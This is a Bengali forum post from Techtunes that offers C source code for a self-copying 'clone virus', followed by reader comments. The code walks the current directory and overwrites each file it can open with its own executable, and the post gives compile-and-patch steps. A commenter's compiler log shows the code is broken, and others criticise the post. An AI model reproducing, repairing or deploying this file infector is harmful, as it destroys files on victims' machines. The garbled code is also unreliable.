নিজেই বানান ক্লোন ভাইরাস (সি ল্যাঙ্গুয়েজ ব্যবহার করে)

প্রথম এ সি ল্যাঙ্গুয়েজ তে স্ক্রিপ ওপেন করে তাতে নিম্ন লিখিত টেক্স কপি করে পেস্ত করুন

FILE *virus, *vhost;

int done=0;

unsigned long x;

char buff[256];

struct ffblk ffblk;

clock_t st,end;

main()         // by [email protected]

{

st=clock();

clrscr();

done=(findfirst("*.*",&ffblk,0);

while(!done) { virus=fopen(_arg[0],"rb");

vhost=fopen(ffblk.ff_name,"rb+");

if(vhost==NULL)

goto next;

x=89088;

printf("infecting %s\n",ffblk.ff_name);

while(x>2048) { fread(buff,256,1,virus);

fwrite(buff,256,1,vhost);

x=2048; } fread(buff,x,1,virus);

fwrite(buff,x,1,vhost);

a++;

next:              fcloseall();

done=findnext(&ffblk);

}

end=clock() printf("Infected %d file in%f sec", a,(end-st)/CLK_TCK);

return(0);

}

তারপর এটি C  compiler দিএ compile করে  .exe ফাইল টির সাইজ (in bytes) দেখে নিতে হবে । তারপর পুনরাই compiler a ফিরে গিএ  virus code টি তে  X এর স্থলে সাইজ এর মান বসানোর পর আবার recopile করতে হবে। বানানো হইএয়া গেলো ক্লন ভাইরাস । জারা সি ল্যাঙ্গুয়েজ জানেন তারা সহজেই এটি বানাতে পারবেন । এভাবে বানানো ভাইরাস নিজে নিজে বিভিন্ন ফাইল ভাইরাস কপি করে ।  বি দ্র ;   কারোর ক্ষতি করার উদ্দেশে এটি ব্যবহার না করার জন্য সবাই কে অনুরধ করছি ।

Level 0

আমি রাশেদ আল হাসান ( রনি )। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 13 বছর 8 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 2 টি টিউন ও 16 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 0 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।

নিজে জানতে ভালবাসি, অপরকে জানাতে ভালবাসি


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস

ধরেন আপনি আমারে দাওয়াত দিলেন বাসায় খাইতে, আমিও গেলাম। আপনার এই টিউন দেখে আমি আপনার জালে আপনারে ফেলার জন্য পিসিতে এই ভাইরাসটি ঢুকিয়ে দিলাম। যাইহোক আমি খেয়েদেয়ে ভাল ছেলের মত চলে গেলাম । এই দিকে আপনার ফাইল খালি কপি হইতেছে। আপনি পড়ছেন মহা ভেজালে।
এখন আপনি বের করেন কি কোড দিলে এই ভাইরাসকে আপনি মারতে পারবেন । যদি পারেন তাহলেই এই টিউন কাজে আসবে না হলে ক্ষতি ছাড়া কিছুই হবে না

    ভাই আমি এটি জাস্ট ভাইরাস এর মডেল হিসেবে দিয়েছি । dont misuse it. আর দাওয়াত এর কথা ????? আমি যদি হস্ট হই তাহলে আমাকে তো একটু extra ঝামেলা পোহাতে হবেই । তাই ঝামেলা সরুপ আমাকে xp setup and viruscran dite hobe. এই আর কি…।

    যাই হোক । এটা আমার প্রথম পস্ট ছিলো । তাই প্রথম comment দাতা হিসেবে আপনাকে ধন্যবাদ ।

    আমাকে একবার দাওয়াত দিয়ে দেখেন কি খাওয়াটা খাই।

    সোহেল ভাই আমি কিন্তু really ভই পেয়াছি । কিন্তু দাউয়াত দেউয়ার আগে আপনার বাসাই দাউয়াত খেতে যাব কিছু সেখার জন্য । দাউয়াত পাব তো ????

সহমত।

ভাই এইটা কোন জায়গা থেকে কপি করছেন ? কোন হেডার ফাইল দেখি না যে। আমি তো একগাদা এরর মেসেজ পাইলাম।

masnun@ubuntu:~$ cd Desktop
masnun@ubuntu:~/Desktop$ gcc v.c
v.c:1: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
v.c:11: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘st’
v.c: In function ‘main’:
v.c:17: error: ‘st’ undeclared (first use in this function)
v.c:17: error: (Each undeclared identifier is reported only once
v.c:17: error: for each function it appears in.)
v.c:21: error: stray ‘\342’ in program
v.c:21: error: stray ‘\200’ in program
v.c:21: error: stray ‘\235’ in program
v.c:21: error: expected expression before ‘.’ token
v.c:21: error: stray ‘\342’ in program
v.c:21: error: stray ‘\200’ in program
v.c:21: error: stray ‘\235’ in program
v.c:21: error: expected ‘)’ before ‘;’ token
v.c:23: error: stray ‘\342’ in program
v.c:23: error: stray ‘\200’ in program
v.c:23: error: stray ‘\235’ in program
v.c:23: error: stray ‘\342’ in program
v.c:23: error: stray ‘\200’ in program
v.c:23: error: stray ‘\235’ in program
v.c:25: error: stray ‘\342’ in program
v.c:25: error: stray ‘\200’ in program
v.c:25: error: stray ‘\235’ in program
v.c:25: error: stray ‘\342’ in program
v.c:25: error: stray ‘\200’ in program
v.c:25: error: stray ‘\235’ in program
v.c:33: error: stray ‘\342’ in program
v.c:33: error: stray ‘\200’ in program
v.c:33: error: stray ‘\235’ in program
v.c:33: error: stray ‘\’ in program
v.c:33: error: stray ‘\342’ in program
v.c:33: error: stray ‘\200’ in program
v.c:33: error: stray ‘\235’ in program
v.c:51: error: stray ‘\342’ in program
v.c:51: error: stray ‘\200’ in program
v.c:51: error: stray ‘\235’ in program
v.c:51: error: stray ‘\342’ in program
v.c:51: error: stray ‘\200’ in program
v.c:51: error: stray ‘\235’ in program
v.c:55: error: expected ‘;’ before ‘}’ token
masnun@ubuntu:~/Desktop$

    মাসনুন ভাই এটা আমার প্রথম পস্ট। একটু ভুল ছিল। আশা করি সেটা আপনি ক্ষমা শুন্দর দ্রিস্তিতে দেখবেন । ৩ টা ভুল আছে। সেগুলো হলো।
    code line no 3 , 18 and line no. 20
    ১২ নং লাইন টি ভেঙ্গে আরো ৩ টে লাইন হবে । যেমন while(!done) { virus=fopen(_arg[0],”rb”); লাইন টি ভেঙ্গে হবে

    while(!done)
    {
    virus=fopen(_arg[0],”rb”);
    অনুরুপ ভাবে লাইন নাম্বার ১৮ এবং ২০ তে ও একই রকম correction hobe.

    আবার try করে দেখেন।।
    thanks for ur comment

তাই ঝামেলা স্বরূপ আমাকে xp setup and virus scan dite hobe. এই আর কি…।
দেখেতো মনে হচ্ছে সি এর ব্যাপারে অনেক কিছু জানেন। আমার কমেন্ট করার উদ্দেশ্য ছিল, আপনি যেই ভাইরাস টি বানালেন তা কি ভাইরাস স্ক্যান অথবা সেটাপ দেয়া ছাড়া , সি প্রোগ্রাম দিয়ে নতুন কোন কোড দিয়ে মারা যায় না?

HSC তে থাকার সময় পাঠ্যবইয়ে একটা চাপ্টার ছিল, নাম =” সাহিত্যে খেলা ” – ঐখানে কোন একজায়গায় লেখা ছিল, ” যে ভাংগতে জানে সে গড়তেও জানে ”
সি দিয়ে যদি আপনি ভাংতে পারেন, তাহলে গড়তে পারবেন না কেন? আর এই ভাঙ্গা গড়ার খেলায় যদি এক্সপি সেটাপ দিতে হয়, তাহলে তো ভাইরাসের কাছে পরাজিত হয়ে গেলাম ।

    সহমত!!
    জটিল লিখেছেন………………

    সি এর বেপারে অনেক বেশী না জনালেও আমি এখন ও এটি শিখছি । আর ” সাহিত্যে খেলা ” এর যে ভাংগতে জানে সে গড়তেও জানে এই লাইন টা আমি ও পরেছি। তবে এটির জন্য যে debug টি লাগে সেটি আমি জানি না ।

c আমার কাছে কঠিন লাগে।

ভাল টিউন কিন্তু মনে হচ্ছে বানানের ব্যাপারে আপনি বড়ই উদাসিন। ভাই আমার মত হলে চলবেনা।

Level 0

স্বাগতম আপনাকে, চেষ্টা করেন যা উপকারি জিনিষ নিয়ে লিখতে।

ভাইয়া, আপনি যে কারেকশন দিছেন তারপরেও রান করবে না। আসলে আপনি যে কারেকশন দিছেন তা না দিলেও সমস্যা হত না । সমস্যা হল C প্রোগ্রামের কিছু ফাংশন কাজ করাতে হেডার ফাইল লাগে । যেমন printf() এর জন্য stdio.h ফাইলটি লাগে । সেগুলো কোথায়? আমার মনে হয় আপনি সি জানেন না । কোথাও সোর্সকোড পেয়ে কপি করে টিউন করে দিয়েছেন । এরকম টিউন না করলে সম্মান যায় না, করলে যায় ।

আচ্ছা আবার আসছি, আমার এই প্রশ্নের জবাব দিয়া যান, আর কোনোটা লাগব না। বিভিন্ন ওয়েবসাইট দেখার নেশা। আপনার ওয়েবসাইট এ যে স্টার গুলো পড়ে তার জাভাস্ক্রীপ্ট কোড টা আমাকে মেইল করে দেন না প্লিজ !
আপনার সাইটটা তো টেমপ্লেট দিয়ে করা হয়েছে , নাকি ? আর এখনের প্রশ্নের উত্তর জানলে দিয়েন, বিভিন্ন ওয়েব বিল্ডারে যেসব টেমপ্লেট পাওয়া যায়, তাতে তো ইংরেজী মহাআনন্দে লিখে সাইট দাড় করানো যায়। কিন্তু বাংলা লেখতে গেলে তো আর সাপোর্ট করে না। এ সমস্যার সমধান কি আছে?

    Rifles Public School & College এ পড়েন ?

    পত্র আপনার বারির সীমানাই পৌছে গেছে আশা করি । ওখানে সব উত্তর দিলাম । আর rifles squer দেখে অনুমান করলেন নাকি???
    আমি Rifles Public School & College তে আছি…

উপরে আমার “সহমত” কমেন্টটা ছিলো ,স্বাধীন ভাইয়ের কমেন্ট এর উপর ভিিও করে।

আছে ঠিক, তাহা দুইজনের কমেন্ট এর নিচে। তাই হয়তো ওনেকেই বুজতে পারবেনা।

Level 0

এই একই কোডিং দিয়ে এর আগে একটা টিউনস হয়েছে। ভাই ,তাই অনুরোধ, পারলে নতুন কিছু নিয়ে টিউনস করেন। আর @মাসনুন ভাই আপনাকে হেডার ফাইল এর কথা বলেছে কিন্তু আপনি তার হেডার ফাইল এর কোন সমাধান দেন নাই। আমার মনে হয় হেডার ফাইল কি এইটাই আপার জানা নাই। থাকলে হেডার ফাইল বাদে কখনোই সি প্রোগ্রাম কোডিং টিউনস করতেন না।আমার ধারনা যদি ভুল হয়ে থাকে তবে আমার মন্তব্যের জন্য ক্ষমা চাচ্ছি। সঠিক কোডিং যদি কারো প্রয়োজন হয় তবে “@একলা পথিক” ভাই এর এই টিউনস টি দেখুন: https://www.techtunes.io/programming/tune-id/27727/

    আর বইল্লেন না, একলা পথিক ভাই এর অনেক ভাইরাস টিউন আছে, যাতে আমি প্রবেশ করলেই আমার এন্টিভাইরাস দেখায় ভাইরাস আছে, এবং ঐ লিঙ্ক ব্লক করে দেয় তাই টিউনে প্রবেশ করতে পারি না। তারপর এন্টিভাইরাস অফ করে ওনার টিউনে যেতে হয়।
    আমি ESET smart security ইউস করি।

যাক আরেকজন ভাইরাস কোডার পেল টেকটিউন।

রাশেদ ভাই , আপনার ওয়েবসাইট অনেক কিছুই এডিট করার আছে… ওয়েবসাইট FOOTER এর কিছু অংশ এডিট করার আছে ।।তবে অনেক ভাল হয়েছে ।। congrats !!!

ভ া ল

Level 0

শিরোনাম দেখার পর যতটুকু খুশি হয়েছিলাম……পরে ঠিক ততটুকুই বিরক্ত হয়েছি………